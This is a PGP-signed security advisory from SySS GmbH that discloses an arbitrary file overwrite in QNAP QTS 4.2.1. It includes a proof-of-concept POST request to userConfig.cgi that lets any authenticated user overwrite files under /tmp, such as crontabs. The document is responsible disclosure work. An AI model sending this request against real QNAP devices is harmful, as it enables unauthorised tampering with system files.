QNAP QTS 4.2.1 Build 20160601 Arbitrary File Overwrite
Posted on 18 August 2016
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2016-053 Product: QNAP QTS Manufacturer: QNAP Affected Version(s): 4.2.1 Build 20160601 Tested Version(s): 4.2.1 Build 20160601 - 4.2.2 Build 20160812 Vulnerability Type: Arbitrary file overwrite (CWE-23) Risk Level: High Solution Status: unfixed Manufacturer Notification: 2016-06-06 Solution Date: tbd. Public Disclosure: 2016-08-18 CVE Reference: Not assigned Author of Advisory: Sebastian Nerz (SySS GmbH) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: QTS is the operating system used by manufacturer QNAP on its series of NAS devices[1]. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The SySS GmbH found an vulnerability in the user configuration interface of the QTS management webapplication, allowing an authenticated user to overwrite arbitrary files in /tmp and its subdirectories. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): 1. Log in to the QNAP. The user needs no special privileges. 2. Run a request like the following: == POST /cgi-bin/userConfig.cgi?imbgName=[newNameToOverwrite]&func=uploadBgImg&sid=[sid] HTTP/1.1 Host: [IP of the QNAP]:8080 Content-Type: multipart/form-data;boundary=foo Content-Length: 115 foo Content-Disposition: form-data; name="filename"; filename="foo.txt" Content-Type: non-image-jpeg asdf foo-- == 3. The uploaded file will be written to /tmp/[newNameToOverwrite] allowing overwriting e.g. crontabs, PID-files and similar files. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: The manufacturer has not released any security update or patch so far. Administrators of QNAP QTS 4.2 installations should ensure that only trusted users/administrators have access to the QNAP or the required permissions to update their profile. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2016-06-06: Vulnerability discovered and reported to manufacturer 2016-06-20: Vulnerability report confirmed by manufacturer 2016-07-06: Manufacturer asked for timeline regarding a fix 2016-07-18: Manufacturer reminded about upcoming public disclosure 2016-08-18: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for QNAP QTS http://www.qnap.com/qts/4.2/en/ [2] SySS Security Advisory SYSS-2016-053 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-053.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: Security vulnerability found by Sebastian Nerz of the SySS GmbH. E-Mail: sebastian.nerz@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Sebastian_Nerz.asc Key ID: 0x9180FDB2 Key Fingerprint: 79DC 2CEC D18D F92F CBB4 AF09 D12D 26A4 9180 FDB2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEcBAEBCgAGBQJXtWVnAAoJENEtJqSRgP2yJOsIAIK6uglJJlCsfk4ZQR/3b0UH A1MAMDS4EMrW6+4CX5SS+69KHYpXYCGf4jvniEiFtMYyBrkVTVB1DdxWZXAsSVR4 TI/xeWL2ltp1Kjt5uWiDZ41haoeuHCqWd0wB4+L3pQnOqtGi+THMBTt7s0dF3bPX x0r0qiDmDRR/CikePvw06igwEAJl3+1AxvawHhqCqAkNLQaCT4nzjheYqGhQxXmJ WWi1kKfWLDc684sjCf0kl0Cldzqw+dw2yx7aa/gderWxI/VwMYO7mZwGcvHQjqSq MTKH6tbMJ9agLoU2fzJCnk/d5QHk52Rtxu0DPjUl2/7CpFaxyhFE3R/0AKn6Wyw= =MtKH -----END PGP SIGNATURE-----
